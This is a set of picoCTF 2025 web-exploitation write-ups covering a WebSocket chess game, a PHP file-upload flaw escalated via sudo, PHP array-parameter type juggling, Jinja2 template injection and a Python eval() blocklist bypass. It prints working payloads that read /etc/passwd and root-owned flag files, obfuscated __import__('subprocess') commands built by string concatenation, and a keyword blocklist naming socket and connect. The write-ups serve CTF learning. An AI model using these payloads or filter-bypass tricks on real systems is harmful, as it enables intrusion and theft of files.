PicoCTF 2025 Writeup
WebSockFish Challenge Writeup
https://play.picoctf.org/events/74/challenges/480
- Name: WebSockFish
- Category: Web Exploitation
- Description: Can you win in a convincing manner against this chess bot? He won’t go easy on you!
Overview
This challenge presents us with a web-based chess game where we play against a Stockfish chess engine. The name “WebSockFish” is a clever play on “WebSocket” and “Stockfish,” hinting at the attack vector.
Initial Analysis
Upon examining the source code, we notice several key components:
- A chess game interface using chessboard.js
- Stockfish engine running as a web worker
- WebSocket communication between the client and server
- Chat messages that display evaluations from the engine
The most interesting part of the code is how the client handles messages from Stockfish:
1 | if (event.data.includes("mate")) { |
This code parses Stockfish’s evaluation and sends it to the server via WebSocket.
Failed Attempts
I explored numerous strategies before finding the solution:
- Using Stockfish against itself: I attempted to use Stockfish to suggest moves for white to gain an advantage, but the engine playing as black was too strong at depth 10.
- Manipulating the game engine: I tried decreasing the search depth of the engine to make it play poorly, but this didn’t affect the server-side validation.
- Board manipulation: I attempted to reset the board to positions where white had a clear advantage or even checkmate positions, but the game would stop responding correctly after such manipulations.
- Message injection: I tried various message formats including “resign”, “checkmate”, “1-0” and other chess-specific commands without success.
Exploitation
After all the complex attempts, the vulnerability turned out to be surprisingly simple. The challenge description asked us to “win in a convincing manner,” which suggested we needed to make the chess engine believe it’s in a completely lost position.
The Solution
By opening the browser console and sending an extremely negative evaluation score:
1 | sendMessage("eval -99999"); |
We trick the server into thinking Stockfish (playing as Black) is in an absolutely hopeless position. In chess evaluation terms, a score of -99999 represents a position so devastatingly lost that resignation is the only logical option.
This extremely negative evaluation convinces the server that we’ve won in an overwhelming, convincing manner - exactly what the challenge was asking for.
Why It Worked
The challenge was designed to test our understanding of how chess engines communicate evaluations and how WebSockets can be manipulated. By sending a manually crafted evaluation message instead of letting the actual game logic determine the score, we bypassed the need to actually outplay the strong Stockfish engine.
In a real chess context, an evaluation of -99999 would represent a position so hopeless that any reasonable player would resign immediately. The server was likely programmed to release the flag when it received an evaluation below a certain threshold, indicating a “convincing” win.
Flag
1 | picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_c0789e29} |
n0s4n1ty 1 - Exploiting File Upload Vulnerability
Challenge Description
https://play.picoctf.org/events/74/challenges/482
A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root
directory.You can access the web application here!
Author: Prince Niyonshuti N.
The challenge description mentioned that the developer had improperly implemented the file upload feature, which could potentially lead to a serious vulnerability. We needed to investigate this flaw to find the flag.
Approach
Step 1: Analyzing the File Upload Functionality
I navigated to the web application and identified the file upload area. Knowing that file upload vulnerabilities are common, I attempted to upload a simple PHP reverse shell. However, the reverse shell did not work as intended, most likely due to network constraints and lack of port forwarding.
Failed Attempts:
- Reverse Shell via External IP: Tried uploading a reverse shell with my external IP, but no shell connection was established. This was likely due to NAT/firewall restrictions.
- ngrok Tunnel: Attempted to use ngrok for port forwarding, but still faced issues with connecting back to my listener.
- Directory Listing Attempts: Used PHP scripts to list contents of the
/root
directory but encountered permission denied errors.
Step 2: Exploiting Sudo Permissions
I used the following PHP code to check the current user and sudo privileges:
1 |
|
The output revealed:
1 | User www-data may run the following commands on challenge: |
This means that the www-data
user can run any command as root without a password. This was a critical discovery, as it indicated that I did not need a sudo password to access root files.
Step 3: Extracting the Flag
Since I had full sudo access, I crafted the following PHP payload to read the flag:
1 | echo "<pre>".shell_exec('whoami && sudo whoami && sudo ls -la /root && sudo cat /root/flag.txt')."</pre>"; |
Step 4: Capturing the Flag
When executed, this script displayed the contents of the /root/flag.txt
file, revealing the flag.
Reference
I referenced PortSwigger’s guide on file upload vulnerabilities to understand the underlying exploitation techniques.
Apriti Sesamo Writeup
Challenge Info
https://play.picoctf.org/events/74/challenges/467
- Name: Apriti Sesamo
- Author: Junias Bonou
- Category: Web Exploitation
Description
I found a web app that claims to be impossible to hack!
Step 1: Initial Recon
First, I opened up the challenge page and was greeted with a login screen. Clicked on the login button and got redirected to impossibleLogin.php
.
Since the hint said that the developer was a militant Emacs user, I took a shot and tried appending a tilde (~
) at the end of the URL to check for Emacs backup files. To my surprise, it worked! I managed to access the backup of the login page.
Thanks gpt!
Step 2: Analyzing the Source Code
In the source code of the backup file, I found the following PHP snippet:
1 |
|
Understanding the PHP Code
The PHP code decodes the base64 strings and checks for two POST variables: username
and pwd
. It compares the values of username
and pwd
directly, and if they are the same, it echoes a flag. The code also uses sha1()
to compare the two variables, but this isn’t relevant for our trick.
At first, I thought I needed two different strings with the same SHA-1 hash. I even used the HashClash project to generate SHA-1 collisions.
But after some digging and reading about PHP Type Juggling and similar CTF writeups, I figured out that the real vulnerability was PHP variable smuggling.
Step 3: The Real Trick - PHP Smuggling
After realizing that PHP could be tricked into interpreting variables differently, I crafted a payload using array syntax in the POST request:
1 | username[]=1&pwd[]=2 |
I used Firefox’s Edit and Resend functionality to send the crafted request instead of using BurpSuite or curl.
Surprisingly, that worked! The trick here was that PHP interpreted username[]
and pwd[]
as arrays, effectively bypassing the comparison checks.
Flag:
1 | picoCTF{w3Ll_d3sErV3d_Ch4mp_d543c99c} |
SSTI1 Challenge Writeup
Challenge Name: SSTI1
Author: Venax
Description:
The challenge provides a web application where users can make announcements. The hint given was:
1 | Announcements may only reach yourself |
This hint suggested that something in the announcement functionality might be exploitable or related to accessing personal data.
Initial Approach:
Since the challenge seemed related to Server-Side Template Injection (SSTI), I started by testing simple payloads to see if the input was being evaluated as code.
Payload:
1 | {{ 7 * 7 }} |
Result:
The output was 49
, indicating that the template engine was processing the input and that SSTI was present.
Identifying the Template Engine:
Based on the syntax and the result, I assumed that the template engine was Jinja2 (commonly used with Python-based web applications).
To further verify, I tried printing classes to understand the context:
1 | {{ 7*7 }} |
All produced valid results, reinforcing the idea that Jinja2 was being used.
Exploring Objects and Methods:
To explore the environment, I tried accessing class information:
1 | {{ ''.__class__.__mro__ }} |
This produced useful output showing inheritance chains and confirmed that I had access to the string class.
I also tried listing subclasses to find potential functions:
1 | {{ ''.__class__.mro()[1].__subclasses__() }} |
This revealed a long list of subclasses, hinting that I could indirectly access built-in functions or classes.
Trying File Access:
I attempted to read system files to check if file access was allowed:
1 | {{ open('/etc/passwd').read() }} |
However, this attempt resulted in a server error.
Discovering Built-in Functions:
Through trial and error, I found that the following payload worked:
1 | {{ request.application.__globals__.__builtins__.open('/etc/passwd').read() }} |
This successfully printed the contents of /etc/passwd
, proving that built-in functions were accessible through this path.
Failed Attempts:
- Direct usage of
os.popen()
oros.system()
commands caused server errors. - Trying
dir()
to list available functions resulted in a server error. - Accessing sensitive files directly without using built-ins also caused errors.
Solution:
I came across a tool called Fenjing, which automates payload injection and analysis.
- I installed the tool locally and followed the setup instructions.
- After inputting the required fields, it displayed: (its chinese translated)
1 | Start analyzing the form content |
With shell access enabled, I was able to execute arbitrary commands on the server.
Listing Directory (ls) Output
Reading the Flag (cat flag)
Solved!
1 | picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_5c985a9a} |
After this the next challenge SSTI-2 is a walk in the park!
SSTI2 Challenge Writeup
Challenge Name: SSTI2
Author: Venax
Description:
The challenge provides another web application similar to SSTI1 but claims to have improved input sanitization to filter problematic characters. The hint indicated that the developer aimed to block risky input.
Solution (SSTI2):
I used the Fenjing tool once again, as it had proven effective in SSTI1. I input the necessary fields, and the tool successfully bypassed the WAF and provided shell access.
Tool Output and Shell Access
Reading the Flag
Solved!
1 | picoCTF{sst1_f1lt3r_byp4ss_e3f3b57a} |
CTF Writeup: ABC Bank Loan Calculator RCE Challenge
Challenge Name: 3v@l
Author: Theoneste Byagutangaza
Category: Web Exploitation / RCE
Challenge Description
ABC Bank’s website features a “Bank-Loan Calculator” that allows users to input a formula via a web form, which is then evaluated server-side using Python’s eval()
function. The goal is to bypass the calculator’s security measures to achieve Remote Code Execution (RCE) and read a flag file located at /flag.txt
. The challenge provides the Flask application source code and a running instance for testing.
Initial Reconnaissance
The provided HTML and Flask code reveal the vulnerability:
- Frontend (
index.html
): A form submits acode
parameter to/execute
via POST:1
2
3
4
5
6
7
8
9<form method="post" action="/execute">
<textarea
id="code"
name="code"
...
placeholder="example: PRTRATETIME(100002312)"
></textarea>
<button type="submit" ...>Execute</button>
</form>
Exploitation Steps
Step 1: Achieving RCE
To test RCE, I crafted a payload to run a shell command using the subprocess
module, which isn’t blocked:
1 | __builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['c'+'a'+'t', 'app'+'.'+'py']) |
__builtins__.__dict__['__imp'+'ort__']
: Accesses__import__
to import modules, split to avoid suspicion.'subproc'+'ess'
: Importssubprocess
without triggering the blocklist.'c'+'a'+'t'
: Constructscat
, bypassing the blocklist.'app'+'.'+'py'
: Constructsapp.py
dynamically, evading the.py
regex match.
Result: The server returned the contents of app.py
, confirming RCE. This proved I could execute shell commands and view their output.
- Backend (
app.py
): The/execute
route processes the input:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def execute():
code = request.form['code']
# Blocklist check
BLOCKLIST_KEYWORDS = ['os', 'eval', 'exec', 'bind', 'connect', 'python', 'python3', 'socket', 'ls', 'cat', 'shell', 'bind']
for keyword in BLOCKLIST_KEYWORDS:
if keyword in code:
return render_template('error.html', keyword=keyword)
# Regex check
FILE_PATH_REGEX = r'0x[0-9A-Fa-f]+|\\\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\\.[A-Za-z0-9]{1,3}\\b|[\\\\\\/]|\\.\\.'
if re.search(FILE_PATH_REGEX, code):
return render_template('error.html')
try:
result = eval(code)
except Exception as e:
result = f"Error: {str(e)}"
return render_template('result.html', result=result)
Key Observations
- Vulnerability: The use of
eval(code)
executes arbitrary Python code from thecode
input, a classic RCE vector. - Security Measures:
- Blocklist: Prevents keywords like
os
,cat
, andexec
from appearing in the input. - Regex: Blocks hex (
0x...
), Unicode escapes (\\u....
), percent encoding (%..
), slashes (/
or\\
), double dots (..
), and dot-extensions (e.g.,.txt
).
- Blocklist: Prevents keywords like
- Bypass Potential: String concatenation (e.g.,
'c'+'a'+'t'
) can evade the blocklist, and runtime-constructed strings can dodge the regex.
Step 2: Exploring the Filesystem
Next, I needed to locate the flag. I tried listing files in the current directory:
1 | __builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['f'+'i'+'n'+'d', '-'+'m'+'a'+'x'+'d'+'e'+'p'+'t'+'h', '1']) |
- Output: Files like
app.py
, but noflag.txt
.
A recursive search revealed more:
1 | __builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['f'+'i'+'n'+'d']) |
- Output: A long list of files
b'.\n./app.py\n./static\n./static/bootstrap.min.css\n./static/styles.css\n./templates\n./templates/error.html\n./templates/index.html\n./templates/result.html\n'
Step 3: Targeting /flag.txt
The challenge description and filesystem hints confirmed the flag was at /flag.txt
. However, the regex blocked /
, so cat /flag.txt
wouldn’t work directly:
1 | __builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['c'+'a'+'t', '/'+'f'+'l'+'a'+'g'+'.'+'t'+'x'+'t']) |
- Failure:
'/'
triggered the regex filter.
Step 4: Bypassing the /
Restriction
I needed to encode /
(ASCII 47, Hex 0x2f
) without using blocked patterns (0x...
, \\u....
, %..
). Direct encodings like \\u002f
or %2f
were caught, so I used Python’s chr()
to convert the decimal value 47 to /
at runtime:
1 | __builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['c'+'a'+'t', chr(47)+'f'+'l'+'a'+'g'+'.'+'t'+'x'+'t']) |
chr(47)
: Generates/
during evaluation, not in the raw input.- Input String:
...chr(47)+'f'+'l'+'a'+'g'...
—no/
,0x
,\\u
, or%
to trigger the regex. - Command: Resolves to
cat /flag.txt
.
1 | picoCTF{D0nt_Use_Unsecure_f@nctionsa4121ed2} |